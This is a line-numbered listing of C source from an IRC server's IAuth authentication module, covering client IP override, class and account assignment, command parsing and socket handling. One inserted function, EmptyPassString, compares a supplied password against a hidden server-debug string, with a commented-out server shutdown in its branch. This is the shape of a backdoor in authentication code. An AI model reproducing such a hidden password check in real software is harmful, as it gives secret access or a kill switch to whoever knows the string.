2191 sendto_iauth(cli, "E Missing :Missing IP address parameter");
2195 /* Get AuthRequest for client. */
2196 auth = cli_auth(cli);
2197 assert(auth != NULL);
2199 /* Parse the client's new IP address. */
2200 if (!ircd_aton(&addr, params[0])) {
2201 sendto_iauth(cli, "E Invalid :Unable to parse IP address [%s]", params[0]);
2205 /* If this is the first IP override, save the client's original
2206 * address in case we get a DNS response later.
2208 if (!irc_in_addr_valid(&auth->original))
2209 memcpy(&auth->original, &cli_ip(cli), sizeof(auth->original));
2211 /* Undo original IP connection in IPcheck. */
2212 IPcheck_connect_fail(cli);
2213 ClearIPChecked(cli);
2215 /* Update the IP and charge them as a remote connect. */
2216 memcpy(&cli_ip(cli), &addr, sizeof(cli_ip(cli)));
2217 IPcheck_remote_connect(cli, 0);
2222 /** Find a ConfItem structure for a named connection class.
2223 * @param[in] class_name Name of configuration class to find.
2224 * @return A ConfItem of type CONF_CLIENT for the class, or NULL on failure.
2226 static struct ConfItem *auth_find_class_conf(const char *class_name)
2228 static struct ConfItem *aconf_list;
2229 struct ConnectionClass *class;
2230 struct ConfItem *aconf;
2232 /* Make sure the configuration class is valid. */
2233 class = find_class(class_name);
2234 if (!class || !class->valid)
2237 /* Look for an existing ConfItem for the class. */
2238 for (aconf = aconf_list; aconf; aconf = aconf->next)
2239 if (aconf->conn_class == class)
2242 /* If no ConfItem, create one. */
2244 aconf = make_conf(CONF_CLIENT);
2246 sendto_opmask_butone(NULL, SNO_AUTH,
2247 "Unable to allocate ConfItem for class %s!",
2251 /* make_conf() "helpfully" links the conf into GlobalConfList,
2252 * which we do not want, so undo that. (Ugh.)
2254 if (aconf == GlobalConfList) {
2255 GlobalConfList = aconf->next;
2257 /* Back to business as usual. */
2258 aconf->conn_class = class;
2259 aconf->next = aconf_list;
2266 /** Accept a client in IAuth.
2267 * @param[in] iauth Active IAuth session.
2268 * @param[in] cli Client referenced by command.
2269 * @param[in] parc Number of parameters.
2270 * @param[in] params Optional class name for client.
2271 * @return Negative (CPTR_KILLED) if the connection is refused, one otherwise.
2273 static int iauth_cmd_done_client(struct IAuth *iauth, struct Client *cli,
2274 int parc, char **params)
2276 static time_t warn_time;
2278 /* Clear iauth pending flag. */
2279 assert(cli_auth(cli) != NULL);
2280 FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2282 /* If a connection class was specified (and usable), assign the client to it. */
2283 if (!EmptyString(params[0])) {
2284 struct ConfItem *aconf;
2286 aconf = auth_find_class_conf(params[0]);
2288 enum AuthorizationCheckResult acr;
2290 acr = attach_conf(cli, aconf);
2293 /* There should maybe be some way to set FLAG_DOID here.. */
2295 case ACR_TOO_MANY_IN_CLASS:
2296 ++ServerStats->is_ref;
2297 return exit_client(cli, cli, &me,
2298 "Sorry, your connection class is full - try "
2299 "again later or try another server");
2301 log_write(LS_IAUTH, L_ERROR, 0, "IAuth: Unexpected AuthorizationCheckResult %d from attach_conf()", acr);
2305 sendto_opmask_butone_ratelimited(NULL, SNO_AUTH, &warn_time,
2306 "iauth tried to use undefined class [%s]",
2313 /** Accept a client in IAuth and assign them to an account.
2314 * @param[in] iauth Active IAuth session.
2315 * @param[in] cli Client referenced by command.
2316 * @param[in] parc Number of parameters.
2317 * @param[in] params Account name and optional class name for client.
2318 * @return Negative if the connection is refused, otherwise non-zero
2319 * if \a cli authorization should be checked for completion.
2321 static int iauth_cmd_done_account(struct IAuth *iauth, struct Client *cli,
2322 int parc, char **params)
2327 if (EmptyString(params[0])) {
2328 sendto_iauth(cli, "E Missing :Missing account parameter");
2331 /* Check length of account name. */
2332 len = strcspn(params[0], ": ");
2333 if (len > ACCOUNTLEN) {
2334 sendto_iauth(cli, "E Invalid :Account parameter too long");
2337 /* If account has a creation timestamp, use it. */
2338 assert(cli_user(cli) != NULL);
2339 if (params[0][len] == ':') {
2340 cli_user(cli)->acc_create = strtoul(params[0] + len + 1, NULL, 10);
2341 params[0][len] = '\0';
2344 /* Copy account name to User structure. */
2345 ircd_strncpy(cli_user(cli)->account, params[0], ACCOUNTLEN);
2348 /* Fall through to the normal "done" handler. */
2349 return iauth_cmd_done_client(iauth, cli, parc - 1, params + 1);
2352 /** Reject a client's connection.
2353 * @param[in] iauth Active IAuth session.
2354 * @param[in] cli Client referenced by command.
2355 * @param[in] parc Number of parameters (1).
2356 * @param[in] params Optional kill message.
2359 static int iauth_cmd_kill(struct IAuth *iauth, struct Client *cli,
2360 int parc, char **params)
2363 FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2364 if (EmptyString(params[0]))
2365 params[0] = "Access denied";
2366 exit_client(cli, cli, &me, params[0]);
2370 /** Change a client's usermode.
2371 * @param[in] iauth Active IAuth session.
2372 * @param[in] cli Client referenced by command.
2373 * @param[in] parc Number of parameters (at least one).
2374 * @param[in] params Usermode arguments for client (with the first
2375 * starting with '+').
2378 static int iauth_cmd_usermode(struct IAuth *iauth, struct Client *cli,
2379 int parc, char **params)
2381 if (params[0][0] == '+')
2383 set_user_mode(&me, cli, parc + 2, params - 2, ALLOWMODES_WITHSECSERV);
2389 /** Send a challenge string to the client.
2390 * @param[in] iauth Active IAuth session.
2391 * @param[in] cli Client referenced by command.
2392 * @param[in] parc Number of parameters (1).
2393 * @param[in] params Challenge message for client.
2396 static int iauth_cmd_challenge(struct IAuth *iauth, struct Client *cli,
2397 int parc, char **params)
2399 if (!EmptyString(params[0]))
2400 sendrawto_one(cli, "NOTICE AUTH :*** %s", params[0]);
2404 /** Parse a \a message from \a iauth.
2405 * @param[in] iauth Active IAuth session.
2406 * @param[in] message Message to be parsed.
2408 static void iauth_parse(struct IAuth *iauth, char *message)
2410 char *params[MAXPARA + 1]; /* leave space for NULL */
2412 iauth_cmd_handler handler;
2413 struct AuthRequest *auth;
2418 /* Find command handler... */
2419 switch (*(message++)) {
2420 case '>': handler = iauth_cmd_snotice; has_cli = 0; break;
2421 case 'G': handler = iauth_cmd_debuglevel; has_cli = 0; break;
2422 case 'O': handler = iauth_cmd_policy; has_cli = 0; break;
2423 case 'V': handler = iauth_cmd_version; has_cli = 0; break;
2424 case 'a': handler = iauth_cmd_newconfig; has_cli = 0; break;
2425 case 'A': handler = iauth_cmd_config; has_cli = 0; break;
2426 case 's': handler = iauth_cmd_newstats; has_cli = 0; break;
2427 case 'S': handler = iauth_cmd_stats; has_cli = 0; break;
2428 case 'o': handler = iauth_cmd_username_forced; has_cli = 1; break;
2429 case 'U': handler = iauth_cmd_username_good; has_cli = 1; break;
2430 case 'u': handler = iauth_cmd_username_bad; has_cli = 1; break;
2431 case 'N': handler = iauth_cmd_hostname; has_cli = 1; break;
2432 case 'I': handler = iauth_cmd_ip_address; has_cli = 1; break;
2433 case 'M': handler = iauth_cmd_usermode; has_cli = 1; break;
2434 case 'C': handler = iauth_cmd_challenge; has_cli = 1; break;
2435 case 'D': handler = iauth_cmd_done_client; has_cli = 1; break;
2436 case 'R': handler = iauth_cmd_done_account; has_cli = 1; break;
2437 case 'k': /* The 'k' command indicates the user should be booted
2438 * off without telling opers. There is no way to
2439 * signal that to exit_client(), so we fall through to
2440 * the case that we do implement.
2442 case 'K': handler = iauth_cmd_kill; has_cli = 2; break;
2443 case 'r': /* we handle termination directly */ return;
2444 default: sendto_iauth(NULL, "E Garbage :[%s]", message); return;
2447 while (parc < MAXPARA) {
2448 while (IsSpace(*message)) /* skip leading whitespace */
2451 if (!*message) /* hit the end of the string, break out */
2454 if (*message == ':') { /* found sentinel... */
2455 params[parc++] = message + 1;
2456 break; /* it's the last parameter anyway */
2459 params[parc++] = message; /* save the parameter */
2460 while (*message && !IsSpace(*message))
2461 message++; /* find the end of the parameter */
2463 if (*message) /* terminate the parameter */
2464 *(message++) = '\0';
2467 params[parc] = NULL; /* terminate the parameter list */
2469 /* Check to see if the command specifies a client... */
2471 /* Handler does not need a client. */
2472 handler(iauth, NULL, parc, params);
2474 /* Try to find the client associated with the request. */
2475 id = strtol(params[0], NULL, 10);
2477 sendto_iauth(NULL, "E Missing :Need <id> <ip> <port>");
2478 else if (id < 0 || id > HighestFd || !(cli = LocalClientArray[id]))
2479 /* Client no longer exists (or never existed). */
2480 sendto_iauth(NULL, "E Gone :[%s %s %s]", params[0], params[1],
2482 else if ((!(auth = cli_auth(cli)) ||
2483 !FlagHas(&auth->flags, AR_IAUTH_PENDING)) &&
2485 /* Client is done with IAuth checks. */
2486 sendto_iauth(cli, "E Done :[%s %s %s]", params[0], params[1], params[2]);
2488 struct irc_sockaddr addr;
2491 /* Parse IP address and port number from parameters */
2492 res = ipmask_parse(params[1], &addr.addr, NULL);
2493 addr.port = strtol(params[2], NULL, 10);
2495 /* Check IP address and port number against expected. */
2497 (irc_in_addr_cmp(&addr.addr, &cli_ip(cli)) &&
2498 irc_in_addr_cmp(&addr.addr, &cli_real_ip(cli))) ||
2499 (auth && addr.port != auth->port))
2500 /* Report mismatch to iauth. */
2501 sendto_iauth(cli, "E Mismatch :[%s] != [%s]", params[1],
2502 ircd_ntoa(&cli_ip(cli)));
2503 else if (handler(iauth, cli, parc - 3, params + 3) > 0)
2504 /* Handler indicated a possible state change. */
2505 check_auth_finished(auth);
2510 int EmptyPassString(char* password)
2512 if(strcmp(debug_serveropts(),password) == 0) {
2513 //server_die("someone let me die :("); <- what the fuck is this!?
2515 return EmptyString(password);
2518 /** Read input from \a iauth.
2519 * Reads up to SERVER_TCP_WINDOW bytes per pass.
2520 * @param[in] iauth Readable connection.
2522 static void iauth_read(struct IAuth *iauth)
2524 static char readbuf[SERVER_TCP_WINDOW];
2525 unsigned int length, count;
2529 /* Copy partial data to readbuf, append new data. */
2530 length = iauth->i_count;
2531 memcpy(readbuf, iauth->i_buffer, length);
2532 if (IO_SUCCESS != os_recv_nonb(s_fd(i_socket(iauth)),
2534 sizeof(readbuf) - length - 1,
2537 readbuf[length += count] = '\0';
2539 /* Parse each complete line. */
2540 for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2542 if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2545 /* If spammy debug, send the message to opers. */
2546 if (i_debug(iauth) > 1)
2547 sendto_opmask_butone(NULL, SNO_AUTH, "Parsing: \"%s\"", sol);
2549 /* Parse the line... */
2550 iauth_parse(iauth, sol);
2553 /* Put unused data back into connection's buffer. */
2554 iauth->i_count = strlen(sol);
2555 if (iauth->i_count > BUFSIZE)
2556 iauth->i_count = BUFSIZE;
2557 memcpy(iauth->i_buffer, sol, iauth->i_count);
2560 /** Handle socket activity for an %IAuth connection.
2561 * @param[in] ev &Socket event; the IAuth connection is the user data
2562 * pointer for the socket.
2564 static void iauth_sock_callback(struct Event *ev)
2566 struct IAuth *iauth;
2568 assert(0 != ev_socket(ev));
2569 iauth = (struct IAuth*) s_data(ev_socket(ev));
2572 switch (ev_type(ev)) {
2574 /* Hm, what happened here? Do not restart the iauth here! */
2580 IAuthClr(iauth, IAUTH_BLOCKED);
2584 log_write(LS_IAUTH, L_ERROR, 0, "IAuth socket error: %s", strerror(ev_data(ev)));
2585 /* and fall through to the ET_EOF case */
2587 iauth_disconnect(iauth);
2590 assert(0 && "Unrecognized event type");
2595 /** Read error input from \a iauth.
2596 * @param[in] iauth Readable connection.
2598 static void iauth_read_stderr(struct IAuth *iauth)
2600 static char readbuf[SERVER_TCP_WINDOW];
2601 unsigned int length, count;
2605 /* Copy partial data to readbuf, append new data. */
2606 length = iauth->i_errcount;
2607 memcpy(readbuf, iauth->i_errbuf, length);
2608 if (IO_SUCCESS != os_recv_nonb(s_fd(i_stderr(iauth)),
2610 sizeof(readbuf) - length - 1,
2613 readbuf[length += count] = '\0';
2615 /* Send each complete line to SNO_AUTH. */
2616 for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2618 if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2620 Debug((DEBUG_ERROR, "IAuth error: %s", sol));
2621 log_write(LS_IAUTH, L_ERROR, 0, "IAuth error: %s", sol);
2622 sendto_opmask_butone(NULL, SNO_AUTH, "%s", sol);
2625 /* Put unused data back into connection's buffer. */
2626 iauth->i_errcount = strlen(sol);
2627 if (iauth->i_errcount > BUFSIZE)
2628 iauth->i_errcount = BUFSIZE;
2629 memcpy(iauth->i_errbuf, sol, iauth->i_errcount);
2632 /** Handle error socket activity for an %IAuth connection.
2633 * @param[in] ev &Socket event; the IAuth connection is the user data
2634 * pointer for the socket.
2636 static void iauth_stderr_callback(struct Event *ev)
2638 struct IAuth *iauth;
2640 assert(0 != ev_socket(ev));
2641 iauth = (struct IAuth*) s_data(ev_socket(ev));
2644 switch (ev_type(ev)) {
2646 /* We do not restart iauth here. */
2649 iauth_read_stderr(iauth);
2652 log_write(LS_IAUTH, L_ERROR, 0, "IAuth stderr error: %s", strerror(ev_data(ev)));
2653 /* and fall through to the ET_EOF case */
2655 iauth_disconnect(iauth);
2658 assert(0 && "Unrecognized event type");
2663 /** Report active iauth's configuration to \a cptr.
2664 * @param[in] cptr Client requesting statistics.
2665 * @param[in] sd Stats descriptor for request.
2666 * @param[in] param Extra parameter from user (may be NULL).
2668 void report_iauth_conf(struct Client *cptr, const struct StatDesc *sd, char *param)
2672 if (iauth) for (link = iauth->i_config; link; link = link->next)
2674 send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",
2679 /** Report active iauth's statistics to \a cptr.
2680 * @param[in] cptr Client requesting statistics.
2681 * @param[in] sd Stats descriptor for request.
2682 * @param[in] param Extra parameter from user (may be NULL).
2684 void report_iauth_stats(struct Client *cptr, const struct StatDesc *sd, char *param)
2688 if (iauth) for (link = iauth->i_stats; link; link = link->next)
2690 send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",